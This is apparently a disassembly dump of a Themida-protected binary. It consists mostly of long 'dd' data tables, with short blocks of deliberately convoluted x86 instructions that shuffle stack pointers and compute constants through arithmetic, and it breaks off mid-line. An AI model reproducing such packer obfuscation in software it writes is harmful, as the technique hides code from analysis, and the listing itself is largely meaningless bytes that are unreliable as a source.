0AB74A914h, 6B8A010h, 1C148A1h, 7B227D06h, 9CECAFBBh dd 0DEB30943h, 73A85A3h, 48499404h, 5DB340DFh, 25A753FAh dd 0E9F7401Ah, 0DF27BDD4h, 818F5CFFh, 49A753FAh, 5DAD3B06h dd 0C85C0D7Ch, 0CB02997Eh, 843B619h, 0DCFF0000h, 596672ADh dd 0E3F90738h, 556375AEh, 0D1EDEB34h, 0CDEF7FC0h, 34EFA23Ch dd 0B07316A4h, 3F008930h, 0AA751CC1h, 0F13FCC2Fh, 0B99AB96Fh dd 0BB22CA74h, 13AA32D6h, 0D7EDA439h, 0EB7B89D4h, 0E22ABED3h dd 1E734CF8h, 6E7AC70Ah, 0C5F5017Fh, 482DB931h, 2B631C75h dd 95605529h, 4FC25h, 373EF900h, 11AC5CCFh, 8A599680h dd 0AFBB7975h, 0AC0BFC3Fh, 46B0E1FCh, 154E439Ah, 42962B1Fh dd 0E39EA147h, 8854C445h, 19A42D09h, 0A31EE756h, 6567217h dd 7743D5B4h, 864F612h, 58AFBCFEh, 65E42CB7h, 0A1AC20C0h dd 0D3B13DB5h, 6569A734h, 0D83120C0h, 0C066050Bh, 0BF82CD20h dd 0FE73E15Bh, 306F1519h, 2F000000h, 59D2343Eh, 6B7868Ah dd 35BE61A1h, 0A106B7DBh, 2EBE98A3h, 98580523h, 0D7C19D1Ah dd 0F46269B5h, 0F0B5C7B3h, 7, 23307AEh, 3EDB0000h, 0BB5CCF37h dd 0BBB70B84h, 0A335F71Bh, 4C4F751Ch, 9F66E1EAh, 0A403AFBAh dd 531ED9D7h, 0D59EA1A7h, 0CC763880h, 0B024168Ah, 0CBEE9A8Dh dd 21192ABEh, 0B2E29D61h, 0C70BEF32h, 0A03FF14Eh, 0E0C6CAF1h dd 0FE8EA752h, 8872AFDAh, 52E0F03Bh, 0EDF917A7h, 0D255ADA4h dd 7A39E09h, 3C1728B6h, 0D65CB645h, 0CA940098h, 5CF57889h dd 3FF15E21h, 7B0EAB99h, 3B1F626Dh, 0A43913ABh, 89D4D7EDh dd 1E72019Eh, 0E6ADA084h, 0B5B7FDBh, 0C24ADEB3h, 5557316h dd 0F54EDAB7h, 0BAB7C9FFh, 0F3210202h, 38B48F2Bh, 8F2AD6AEh dd 0DEADEEFAh, 0ADA07ED2h, 10EA379Ah, 9893FEE0h, 2BB9D0E8h dd 0EFF13620h, 0E22ABECBh, 0EA9691F8h, 13C8AED5h, 0E72F1D14h dd 0F31CC09Ah, 3288EDF9h, 0F3EF0C57h, 83ADA0ADh, 1F105336h dd 0A2464B71h, 922BBB9Fh, 3E07E9FFh, 2FB1D234h, 0D20DFE8Bh dd 64D2D89Eh, 0FB962952h, 0F592D446h, 0E4563B83h, 0A3E6F4h dd 7EFAAB5Fh, 6FF95B70h, 37E9955Fh, 0D5D8ECA5h, 3479061h dd 224E0000h, 862FD5BCh, 5EC14209h, 6B77B95h, 27F67EA1h dd 9AAF38C2h, 226EFD9Eh, 0EAA105EEh, 0E2B19AE7h dd 0A105EDCEh, 33CF2B96h, 5D348AEBh, 0C9C81622h, 0F9902AB6h dd 10DE5A66h, 4E385965h, 7296FBE2h, 5EDBECDh, 9F67E5A1h dd 0D98A07D6h, 0F1177247h, 5EE3F4Ch, 0F1FD71A1h, 0D3543584h dd 59DB6D5Ch, 0E2B1CA9Dh, 0A10648CEh, 4F62B96h, 4524001Bh dd 0CDF0A106h, 601D20C4h, 5FEE312Eh, 0FF492B95h, 2203FFFFh dd 622791BBh, 17B32C1Fh, 3A464B85h, 7583AC8Eh, 2E9B2968h dd 0A105BADDh, 77FE0804h, 0E8F82B66h, 0C02DBBD6h, 7191DDD7h dd 0A12AF418h, 65D2F8B3h, 58AFh, 373E6F00h, 188F5CCFh dd 0A2AFBB7Ah, 0AF10899Fh, 53F9CCE4h, 501B94A7h, 0A477B2FFh dd 299284B9h, 0A75402E6h, 0B43FE027h, 0A754025Ch, 0C53D1924h dd 95849239h, 18809BADh, 5E000000h, 6B4BB05h, 0E0718CA1h dd 4DFFFFFDh, 0C07h, 0C9148400h, 7E86EC8h, 235h, 0C8BB22DBh dd 268B2Eh, 0E5A03C11h, 0DD7D61B2h, 6EFE0A57h, 0AFE2FD4Fh dd 0C44BB172h, 0BAC0BFCh, 0B94F429Dh, 0A8474976h, 0AC0FA106h dd 4B52814Ah, 78EFAFBEh, 12B8EAFCh, 0EEFE58F4h, 949845E3h dd 0D3A74FB1h, 401EAD39h, 3C9BA94Bh, 28h, 8A373EF2h, 23245930h dd 0BE54F358h, 0BA2090AFh, 54776BCFh, 0E5010BB0h, 0CC40A74Eh dd 818B8942h, 0A9879BA8h, 67000000h, 32D6BB22h, 677D14AAh dd 35D3BE1Fh, 147544B4h, 64D6BB04h, 0CB1A6974h, 5498375Ch dd 39E29DE0h, 0A1062604h, 0BACFEB9Dh, 642D9060h, 5D7C2C1Bh dd 6AB7D2E7h, 13E7535Eh, 0D8A3A41Ch, 0AFB941ABh, 6F210A35h dd 8EC9424Fh, 68F3F79Fh, 0A7518628h, 0F182CDF0h, 1E07F3FEh dd 94D5BC22h, 29BE51Ah, 3E64079Dh, 0FA000004h, 6977A8E1h dd 0F8083B56h, 6672ADE4h, 0ECEC3752h, 0E284BFD2h, 0ECA539D6h dd 7415A533h, 0FD8C2DABh, 6A27B642h, 3CC728B9h, 9AB96BF4h dd 31CF6FBCh, 0C630597Fh, 3088C41Ah, 0DD5B2459h, 0B8CE9100h dd 32D6BB22h, 0C57E13AAh, 1A16E542h, 0F5A106B8h, 6B82A66h dd 49CFF2A1h, 69E01406h, 0B2E5AE99h, 7CAFBEBAh, 406B351h dd 0D2A74EB9h, 0E058C5Ah, 51A635B6h, 2EB606BBh, 36285B82h dd 0A4BE8E1Dh, 0F1E15508h, 0EAB5DCEh, 0A6969F7Bh, 7D457AFh dd 0BC4BC8F8h, 2B8C7FC2h, 992F627Dh, 5A378696h, 479783CEh dd 131DE675h, 16B3E449h, 134F4B8h, 8AB54380h, 236F8CD7h dd 2B3E413h, 377902A5h, 0FFB3E413h, 13111FBCh, 76D9B3E4h dd 4855484h, 53A23Bh, 5C00000h, 0A106B7A7h, 49724D82h dd 955D4F74h, 0EEE651A1h, 7819A335h, 5FB1FF6Ch, 9DDEA106h dd 601F71FAh, 0CFEBA106h, 27133EBAh, 8A3243CBh, 1DBC3C07h dd 98F3586Ch, 0CAA1065Fh, 1B75FEA1h, 0E3A10660h, 5FD7D9A2h dd 9C9FA106h, 717D75E1h, 8BD4B504h, 0D2B722F3h, 6813A636h dd 0E6315155h, 0D5F32E75h, 96DF2783h, 0DEFD4643h, 0A1061A50h dd 0D12C2965h, 8826955Fh, 0B1FFFFFFh, 45B1E0FFh, 91BB22FFh dd 0D4BD202Ch, 0A830D489h, 51C37C15h, 8F01EADAh, 0D0C11B29h dd 9034E934h, 0BF4CA98Dh, 0AFBE5A94h, 0A815B31Eh, 0A74ED764h dd 2E9D69A3h, 9BA87130h, 402Ch, 373E0200h, 1C8F5CCFh, 0A6AFBE54h dd 0CCE08D9Bh, 98A74EE3h, 2CBC4841h, 6722B88Ch, 25C37EC1h dd 7C8809D5h, 0D826CE31h, 0B73FCDE2h, 8FA16ACDh, 57A74EE3h dd 2A2C02F4h, 269BA881h, 0D2h, 0D6BB2208h, 7D14AA32h, 89BB1E8Ah dd 245930h, 0F17959BDh, 0E61FC5CCh, 65F01971h, 0D93D2857h dd 9EE1B00Dh, 6BC3885h, 761BC2A1h, 0BA922BADh, 0FD942923h dd 0E499E4E7h, 655DD440h, 19E245E2h, 0A106BA17h, 0F13FDCDFh dd 0B9A106B9h, 0B843A496h, 0AFBEB9D3h, 0BE31F25Dh, 0DB35BE61h dd 0A3A74EB9h, 0BA2D8398h, 0BC30A74Eh, 9AAF0835h, 0BA9C9F35h dd 803C34Ah, 26D067Bh, 0C6418CB6h, 520D845Ah, 0F099F8C6h dd 0FC536F48h, 0E216B96Bh, 9E000001h, 5134C3Dh, 8C8CD7BAh dd 221E6130h, 9090D3B6h, 8E20632Eh, 9001DD2Ah, 206951CFh dd 91F8E15Fh, 266B52CEh, 905BDC5Dh, 9AB96980h, 317BE348h dd 0B7AB058Eh, 4873A106h, 0B5DC02EEh, 424F6E6Ah, 373E6501h dd 1C8F5CCFh, 0B9AFBE54h, 3A1C7547h, 0DC81A7AAh, 0A74EE3D0h dd 4C17780Fh, 0A74EE444h, 0A837C10Ch, 66D0DBE9h, 0C94B808Eh dd 0C59BA880h, 0BBh, 0C8BB2299h, 60F54DD9h, 4BD9A48Fh dd 5A6E23BBh, 60CA8F5h, 770641A1h, 624F536Dh, 0A439A591h dd 17A632EDh, 333A6E7Ah, 0E08B58D3h, 6AAFBE22h, 0AB34E467h dd 1BFF42E6h, 0DB2B2212h, 41BDA370h, 3A85B601h, 1CC26ED1h dd 89558175h, 47711F08h, 0D14FD842h, 5FE5A4EDh, 60FC54AAh dd 10B21CCh, 0F4C70000h, 714ECA95h, 0FBE15F20h, 6D4BCD96h dd 9D5631Ch, 85B7D788h, 0C573A84h, 0A8DBAE0Ch, 17484198h dd 0A2DDB409h, 49471497h, 119AB969h, 0BC22B28Ch, 0C95F2A90h dd 1750BB86h, 1DE650D4h, 0A1062413h, 0DF9F70DBh, 68CD2967h dd 75BB48E7h, 3DA10635h, 25B82812h, 228BB36Ch, 0AA32D6BBh dd 75BB4813h, 3DA106B7h, 13144F12h, 0AC385965h, 474297A1h dd 48BC9EA1h, 0A90601C1h, 0E873E8F7h, 0A106B7A8h, 26104D70h dd 0BB7A269Dh, 708CC3AFh, 443E746Ah, 0BA429284h, 14B06D24h dd 9C8AF9C4h, 9BBC2881h, 18285B26h, 0AD5BCCC5h, 3498820Fh dd 0A5B63887h, 37BF2D0Eh, 9001DB4Dh, 0CE5A3788h, 76479783h dd 5D8681Bh, 0C8F0788Ch, 0E889AEB3h, 4A17B2CDh, 0A5718FBEh dd 0DBA4EDD0h, 1611805Dh, 31A6EA79h, 636E0FFEh, 0F592D3F7h dd 31C7C992h, 2C8F0FFEh, 0FE31818Fh, 1406490Fh, 0CA9h dd 16B99500h, 878E3FA1h, 4BAFAD25h, 0D0B92201h, 7819A434h dd 0CCBD1C6Ch, 7F0AB038h, 0D4BD2169h, 7B16A830h, 0CEBB1D6Dh dd 870AB23Ah, 0CBC61961h, 8952D93Dh, 4C281E2h, 56000000h dd 4BEh, 5EF22900h, 5C241487h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch, 89512434h, 4C181E1h, 83000000h dd 0C8704E9h, 14895C24h, 65B5BE24h, 0BB5368D2h, 78FB5591h dd 44A8EB81h, 0EB81406Fh, 398D7894h, 75EBEB81h, 0C38105B3h dd 693A008Bh, 545BDE29h, 8324148Bh, 0EC8304C4h, 24348904h dd 0FF08428Fh, 815A2434h, 4C4h, 24348B00h, 81E18951h, 4C1h dd 4C18300h, 5C240C87h, 0FBF613E9h, 0DD22B8FFh, 0F4511591h dd 184982DBh, 508BB8CCh, 0C503064Dh, 0A1C8E0FFh, 0B0213BC7h dd 5AA65A2Eh, 0D2B9343Eh, 0BCF761Fh, 0D3955499h, 68B009E2h dd 4C05696Dh, 1C344355h, 0F0A51804h, 868E0E66h, 7D5E73BFh dd 4FDC3DE4h, 75E96243h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B08CC351h dd 0B70F60F2h, 11E8F6h, 0EF80000h, 5C2AC205h, 0ADC68931h dd 1485E9BBh, 0FEBF7F6h, 85h, 8D615A00h, 4D5224B5h, 108C0F06h dd 0E9000000h, 0Bh, 5559132Ch, 60565972h, 8D656E5Fh, 4B4B7385h dd 5E906h, 8BF60000h, 0FF8A0DD5h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 65AD161h, 0FCA161E2h dd 1C810FC3h, 0F000000h, 1685h, 11E900h, 0EECF0000h, 2C3D054Bh dd 3C01AA20h, 9D614602h, 662DDBF5h, 11E9D98Ch, 96000000h dd 7136BC34h, 6A84952Bh, 0AB1C4CE5h, 5DEA1FE4h, 0F04C1F6h dd 5784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 95FF120h, 0CB8BFB8Bh, 75AEC032h dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh dd 9EB0000h, 0E4EB008Bh, 0B8h, 8160CF00h, 8C9EB3F0h, 14E874h dd 26D70000h, 0D90191D1h, 0AD8B2E75h, 26D8F9EEh, 984CA1CCh dd 800F10ABh, 0 aAs db '[aИ',0Dh,0 db 2 dup(0), 0EFh dd 0B80016BEh, 43FCF60Bh, 533EE39Ch, 0F8C38160h, 61223A48h dd 527D85C7h, 13F064Dh, 60EB0001h, 18h dup(0) dd 0AEAE9h, 0ADEE900h, 0FF680000h, 0E9064D5Ah, 0FFFB29F7h dd 4D5C1568h, 29EDE906h, 8E68FFFBh, 0E9064D5Ch, 0FFFB29E3h dd 50085408h, 520A560Fh, 510B5711h, 520A5610h, 520A5611h dd 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h dd 140670E6h, 1D21C456h, 231C6881h, 0EA362B6Ch, 4B053672h dd 51DD44FFh, 66024E04h, 0F40F5B75h, 4B630565h, 56EF4B89h dd 5DE63229h, 5711273Ah, 62DD2941h, 44FF26FFh, 54F03C13h dd 131F6B63h, 6520D2Ah, 1B67815Ah, 421E46FFh, 39F23E19h dd 7D1284D0h, 0FF224FC7h, 0E02C2233h, 0D4203867h, 5208314Bh dd 4B1F3D06h, 4FC77D5Bh, 43CF36D9h, 34EF3B12h, 17455BDDh dd 8CAA9453h, 705DC249h, 18546EC1h, 0A1EDE354h, 0FE6AC3A6h dd 7CF2FEE2h, 0B05613EDh, 0BD98C551h, 0E3E7D371h, 5613ED73h dd 7CD45EC1h, 96E2F7E0h, 54BB48Dh, 0EB5C0356h, 0F85FD25Ch dd 0E0D29ECAh, 9656141Ah, 0BE97ADA5h, 0B950B972h, 0DB64CB5Dh dd 1EAD60C1h, 6D696DABh, 529EB4A1h, 3B65BEEAh, 1450396Bh dd 8180C650h, 86211D69h, 6E687E55h, 0E9402922h, 0FA146076h dd 0E85BF945h, 5A8658D2h, 0C6B32096h, 2428144Fh, 4FC6B332h dd 1D061F02h, 4669486Bh, 64EC461Fh, 1953801Ah, 4D3057F1h dd 0C6000000h, 58D2E85Bh, 0B7495A86h, 0A6B7B534h, 0D1C589B7h dd 634FC75Fh, 84FA72BCh, 0A84FC75Fh, 0C75EAABFh, 965A867Bh dd 4FC6B320h, 3921ED14h, 4E648107h, 6ED34C98h, 55868B97h dd 0DF42F7Bh, 0D405D901h, 9277B0FCh, 3A3FBE88h, 0D3000000h dd 58D2E85Bh, 68815A86h, 0E45A121Ch, 444FC6B2h, 3C8661DDh dd 2D795586h, 0D5974E1h, 5720CE2Fh, 0F82CF81Eh, 1D86281Eh dd 0D68BCA55h, 0C25EA18Ah, 0B26DB994h, 805CB64Fh, 9E95B3Eh dd 3D313D4Eh, 0EF4FC6B3h, 3410F910h, 8EB64718h, 0C18AA549h dd 0BBD67AA3h, 726E72D4h, 6EC814D1h, 0F978C06h, 18FBDB56h dd 0C6B894A8h, 66560F97h, 0D2ED6FCBh, 0B15B39F9h, 196h dd 0CE045B45h, 0B2F05E72h, 0DD444FC6h, 4A263A62h, 4FC6B354h dd 510639D8h, 362C2905h, 31FA4620h, 0B3473713h, 4AE54FC6h dd 1F6B80E3h, 6A865A06h, 4FC6B2F4h, 193DD938h, 0D51D862Fh dd 9E15D30Ah, 865CF915h, 67E55975h, 0E8474FC7h, 1D690541h dd 58D2E85Bh, 5380107Ah, 6557F119h, 150E5A74h, 9550B2Ch dd 0DE4FEB3Eh, 4Bh, 5CA8A596h, 0D3977CE3h, 86198695h, 5BA9939Fh dd 8658D2E8h, 0C6B2F46Ah, 12D7384Fh, 36C3104Ah, 86E06AC3h dd 4E64813Ch, 72D7509Ch, 7554AD9Bh, 0BBFD7391h, 60B31FDh dd 453FBCh, 90F10000h, 4013C4DDh, 285A0BF4h, 5B86C05Ah dd 4A76D2E8h, 0C6B31086h, 31FD244Fh, 0F46A860Bh, 344FC6B2h dd 0B3524408h, 3FE24FC6h, 3C865CE6h, 974E6481h, 0A558A749h dd 0F31A681Ah, 0EE38D138h, 0E401DA06h, 5BC87E98h, 5E72CE04h dd 4FC6B2F4h, 314ED938h, 2E4FED39h, 0CB995D9Bh, 0AC60CB08h dd 62CEAA52h, 320C44CEh, 211D6981h, 0E85B1D69h, 3D065208h dd 361F3DE4h, 23CD622h, 5380107Ah, 3057F119h, 39h, 0D2E85BC6h dd 815A8658h, 74001A66h, 4FC6B302h, 4C0532h, 2D922F27h dd 0D0390D39h, 495A8656h, 7BBCFBBEh, 0A59F7B6Eh, 2C186481h dd 2B07530Bh, 3FBC0611h, 28h, 0D2E85BD3h, 0F46A8658h, 344FC6B2h dd 3C8651CDh, 20965A86h, 144FC6B3h, 47DE2A23h, 27736AEBh dd 7C55861Bh, 0C4FEE630h, 863Fh, 45BD300h, 0F05E72CEh dd 444FC6B2h, 1D3562DDh, 811D67D1h, 163F1D69h, 0DB2EF945h dd 5586053Fh, 0FF22D79h, 5B043A03h, 4D410DE8h, 0DF4FC6B3h dd 7A5DE940h, 19538010h, 333057F1h, 0C6000000h, 58D2E85Bh dd 6A865A86h, 4FC6B2F4h, 0FD25716Dh, 0EA5C1822h, 4A4FC6B2h dd 3C865BE7h, 2C186481h, 2C06520Bh, 1DA0612h, 0C57F9BE7h dd 163Fh, 0E85BD300h, 6A8658D2h, 4FC6B2F4h, 8651CD34h dd 1864813Ch, 81BC060Eh, 75221D69h, 7E2A125Eh, 7D6E845Dh dd 0FA13F631h, 0DF2B3F20h, 0B3544864h, 6C024FC6h, 0D21E34A9h dd 0D521396Ah, 4E42FB4Ah, 0A3D44F9Bh, 6CB895ABh, 0A8FE8A95h dd 3622C06Dh, 0D881D820h, 447FB131h, 65CF1BCFh, 2A162E0Eh dd 8F875126h, 0C37CA349h, 0F88B1A9h, 6AB6B056h, 1CD86E1h dd 855085CBh, 79B2FED2h, 0DF8A496Fh, 0FB715482h, 5B3917E8h dd 309Bh, 69813300h, 42163F1Dh, 10864AF6h, 244FC6B3h, 800C31FDh dd 4FC6B30Eh, 62D72E44h, 702C2470h, 0B30E804Ch, 651B4FC6h dd 0F669635Ch, 0D45EC169h, 1D69816Ah, 89617A22h, 0FE3EF13Dh dd 8A667AE6h, 4FC6B314h, 198C1B15h, 0DA30EA30h, 6B7FDB37h dd 498C4AC0h, 43513EEh, 2038024Eh, 73D1E759h, 0DBF00857h dd 0EA06664Fh, 4FCBF174h, 77B059B8h, 0CBF165DDh, 0F1D4024Fh dd 34805881h, 292516EBh, 33FF62DDh, 0F6539E21h, 21E554h dd 5B790000h, 4E72CE04h, 0C6B30C82h, 3501204Fh, 0B33D212Dh dd 10EF4FC6h, 14D0334h, 1BC457h, 5B7A0000h, 5E72CE04h dd 4FC6B2F4h, 126BD938h, 0BF542C56h, 0E773BF61h, 66CE1ACEh dd 16C3F1Ch, 5BD30000h, 8540703h, 1D862521h, 2A148716h dd 3FBB283Eh, 530450BBh, 67152A04h, 0C468C616h, 5CB6AEB6h dd 1D6981E2h, 80107A21h, 57F11953h, 30F93C65h, 25C525F7h dd 501C09h, 5BB20000h, 4773D103h, 0B2E75773h, 0EA454FC6h dd 0C6B3188Eh, 42F51C4Fh, 4FF5418Dh, 0B2F46A86h, 0F384FC6h dd 925E0A56h, 4FC6B31Ch, 2C18F110h, 3F08540Bh, 86F650EAh dd 0F46A865Ah, 384FC6B2h, 236F66D9h, 67812D17h, 0BC060F1Bh dd 2F3Fh, 1D86D300h, 411958E3h, 0BFB0AF5h, 40E93531h, 0E91B43F6h dd 0F46A865Dh, 344FC6B2h, 3C8651CDh, 0F1B6781h, 20965A86h dd 144FC6B3h, 87B921EDh, 3F1D6981h, 2CF74316h, 690339D5h dd 0D2E85B1Dh, 80107A58h, 57F11953h, 3230h, 0E85BC600h dd 6A8658D2h, 4FC6B2F4h, 864DD938h, 0B320965Ah, 0ED144FC6h dd 81073921h, 60E1864h, 9BE701DAh, 0AEFAEF90h, 99758C75h dd 463FA3h, 5BD30000h, 14D08E8h, 0B3178763h, 0FA154FC6h dd 6A861713h, 4FC6B2F4h, 428E4972h, 10162009h, 5A862DF9h dd 4F1D6981h, 4FC6B35Fh, 7CE832CDh, 18648142h, 4A3C102Ch dd 0E74FC6B3h, 0C834EE36h, 0BF62C86Fh, 0BC06C973h, 251E6A81h dd 0C6B31487h, 7251894Fh, 0AE9AE6FDh, 0D384D08Dh, 0EF67B3FFh dd 82CE82B3h, 6A818EB8h, 6172251Eh, 0E73F0A15h, 58A4B72Ch dd 375BC4E0h, 0C06352Eh, 20965A06h, 144FC6FAh, 0E34921EDh dd 684FC702h, 0F15FEAF6h, 0FE659B54h, 9633FFFFh, 4FC6B31Ch dd 0C6B2605Ah, 0F9D5064Fh, 147516ABh, 859CFF9Ch, 6CCC1A9h dd 0B6AC4FC7h, 0C04FC706h, 4FC706CAh, 0C706B6ACh, 0D3B3858Fh dd 6CE2EEFFh, 0C00FC706h, 0AA7FC861h, 6BCB2BEh, 91700FC7h dd 0CC78h, 30098C9Fh, 410356D1h, 81CA29h, 0F2849FEBh, 2D212D1Ch dd 0FF1610E9h, 44200920h, 0D8F4E728h, 3408250Fh, 24D632DAh dd 0F0666AD6h, 440FC8E0h, 0A1E644DDh, 0F80CBF79h, 256CE2Fh dd 0D2820000h, 0D08DCE86h, 0D58BCC84h, 0D88ECF89h, 0DCF3A48Ch dd 11B9A890h, 0CD87D38Ch, 0CF89D58Ch, 0A791DD8Eh, 0A098E4F6h dd 6ADCF03Ch, 0CA56140Dh, 6981272Bh, 0F6317D53h, 6D4EFA13h dd 461B2470h, 0B360561Ah, 2DD44FC6h, 0DF405CE1h, 501C40E1h dd 4FC6C55Eh dd 18D833CEh, 3BFE18A2h, 7955F309h, 498C92C6h, 630F49E8h dd 561494EFh, 68D4EC4Ch, 6780964Fh, 3C28F21Bh, 0D9C26B30h dd 0E27EA14Fh, 9B95E1F9h, 0FFD2E8FAh, 789178B3h, 63B5A5AFh dd 0A6964FC7h, 719EB28Eh, 0C3498C92h, 3D7005Ch, 0F8E17DB7h dd 0B48D96E2h, 99E5FD5Ah, 0CF8DF68Eh, 0E7CACDACh, 77C970CAh dd 0AB74C097h, 0BD91AF56h, 4FD94D8Eh, 73C681A0h, 0C18DBBD1h dd 498C18FEh, 4273D130h, 1A667A90h, 3C1D49F3h, 493D1122h dd 0EB56141Dh, 451DD44h, 1B49024Eh, 40DA263Ah, 14133E34h dd 253BFD56h, 52043337h, 0CF324FD9h, 253BFD54h, 0A38C3337h dd 57BA498Eh, 0F54658B7h, 0ED501BCAh, 140h, 42C786Ch, 62E7A53h dd 52F7B55h, 62E7A54h, 62E7A55h, 352AAF17h, 3B2E6FE9h dd 3F1445EFh, 421849F3h, 165A3EF6h, 140F443Ah, 0C10DE856h dd 20965A86h, 144FC6B3h, 2E0E21EDh, 0E148944Ch, 0E1B86783h dd 730498Bh, 0EA3F0854h, 716DDA50h, 8E06FA25h, 897A8904h dd 72D2A7A0h, 29E2EE5Ah, 834FDC92h, 86A313D7h, 6E914FCCh dd 84667797h, 2651CCB8h, 0C737h, 95E1F300h, 97E3FA9Bh dd 98E4FC9Dh, 9BE7FFA0h, 9BE700A1h, 971CC2A1h, 9BBC74C0h dd 0A1C27AC6h, 85D67ECAh, 0C3D781CDh, 0FE3D397h, 72515614h dd 0D3E95B30h, 77704975h, 747202Bh, 8D6C05AAh, 0F179956Ch dd 498CA746h, 117CF78h, 0BA8F98E4h, 0AD8EBA53h, 77D06AB6h dd 8EC612C8h, 6CE2EED2h, 0C0561449h, 0D288D561h, 0C474BD86h dd 0F7BC90ACh, 354FD976h, 263F5510h, 11F833DAh, 461F40F8h dd 472142FAh, 462041FBh, 2 dup(462142FAh), 482142FAh, 500354FCh dd 570B4C04h, 2415510Bh, 855E12Dh, 0E44B0551h, 4C203C54h dd 498CA487h, 0BEE16AC5h, 65F860ACh, 0Ch, 0D219E637h, 4C534C17h dd 17637CC2h, 241F6B81h, 18135F73h, 1F287467h, 221D6980h dd 150E5A75h, 26216D62h, 16115D79h, 28236F69h, 19125E77h db 74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push 4578h mov [esp], ecx push ebx push esi mov esi, 0B905FA5h sub esi, 0CB87C60h and esi, 6EED1C64h inc esi add esi, 1051503Bh add esi, 2DB67746h sub esi, 351277AFh mov ebx, esi pop esi neg ebx neg ebx xor ebx, 71F7036Eh mov eax, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push eax push ecx mov ecx, 6F4C44E8h sub [esp+4], ecx pop ecx pop dword ptr [ecx+8] add dword ptr [ecx+8], 6F4C44E8h mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- db 62h dd 392C44D0h, 0C4775074h, 4D5D7AB8h, 8BC50306h, 568D8DC3h dd 6A064D5Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0CE03C356h, 8D890E24h, 6480A19h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B8C35242h dd 329E8770h, 3585C78Dh, 5006480Fh, 8B000068h, 48047D9Dh dd 2585C706h, 64824h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BF35C353h, 0D3EA1D77h dd 68E0Fh, 0BD8B0000h, 6481EEDh, 12E8h, 8E8E5500h, 0B72874B1h dd 0E2D40674h, 0C00ECD17h, 8BF47C3Ah, 482E9DB5h, 0B5FF5B06h dd 6482E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 98C35646h, 0C101E9AFh, 0EB80DE3h, 1D8D8960h, 51064815h dd 0FF6158FCh, 4820BD95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 68122787h dd 6A2AB6h, 306195FFh db 48h byte_592CC5 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053E28Co dd 0B2313CEBh, 1F5AB0C4h, 0CCB965C0h, 1D2278A2h, 4B09DEE7h dd 69C4B1FEh, 600BB2CEh, 5A9722FAh, 0B85E928Ch, 91CC7649h dd 0DBC82AF6h, 5606D636h, 0EB5A9487h, 9510B373h, 0CD0BA59Bh dd 0BE8473Ah, 0AA000000h, 1B28B887h, 2CC01098h, 85890CB5h dd 6481E21h, 2890F5Fh, 8B000000h, 0E5C781CEh, 0E900006Eh dd 13h, 87AAF611h, 981B28B8h, 0B52CC010h, 0A1E4250Ch, 33A4A134h dd 0A58523D2h, 8B06481Ch, 95291734h, 6481F01h, 9F4FC681h dd 0B9663041h, 0F6816DE4h, 6E04DD1Bh, 26D18D03h, 0C6810648h dd 6521EB41h, 2F05BD89h, 0E9560648h, 14h, 0A181270Ch, 839791EFh dd 0A2CF3061h, 4113F429h, 8DECFEECh, 8A17048Fh, 0BABB66CCh dd 5CEA8162h, 812EE078h, 37FD47E1h, 58C28113h, 8B2EE078h dd 4820319Dh, 0FCFA8106h, 0FFFFF91h, 1985h, 0D9858900h dd 0E906480Fh, 28h, 7FF140CDh, 0C50A113Ah, 84E8A1D0h, 0E9F59B9Fh dd 0FFFFFF6Fh, 0CA99BD9h, 0D6A4AD79h, 21C272D4h, 0E04E3418h dd 0C074CB6h, 0EE8h, 0FDE05B00h, 14A69284h, 73A2A999h dd 66C9E158h, 5E636BBFh, 81D18B66h, 5E97C6h, 1D9D8900h dd 0BB06481Bh, 1773h, 3810Fh, 0BF0F0000h, 890E8BD1h, 48104D9Dh dd 0B6F18106h, 0F75B4C4h, 68Eh, 0F19D2900h, 81064804h dd 9BB62DC1h, 0DDBD0373h, 81064825h, 8759F9C1h, 13E87Ah dd 52E90000h, 0D1D78072h, 0A6A1E670h, 2EFE1E39h, 61FF03Eh dd 0A5B5891Dh, 58064824h, 12E951h, 19C60000h, 1861DBE9h dd 9A036174h, 0BF7F5CF8h, 0B0EA28D1h, 0BF66068Fh, 0EE833A12h dd 0BD896002h, 648241Dh, 0E840Fh, 8E80000h, 50000000h dd 498DC33Ch, 5F8F06F1h, 804E4E61h, 0EB8176D8h, 1, 0FF67850Fh dd 858BFFFFh, 6482939h, 62208D8Dh, 6A064Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B4255CC3h dd 2B67E54h, 0B50B7908h, 6481525h, 0A198D89h, 6A0648h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 2DCF41C3h, 0C6DD09F8h, 0F3585C7h, 5B380648h, 0BE660000h dd 85C74524h, 6482425h, 0 dd 0FFFFB70Fh, 481E3DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 89562B86h dd 483225B5h, 95FF5806h, 64820BDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0DEC35141h, 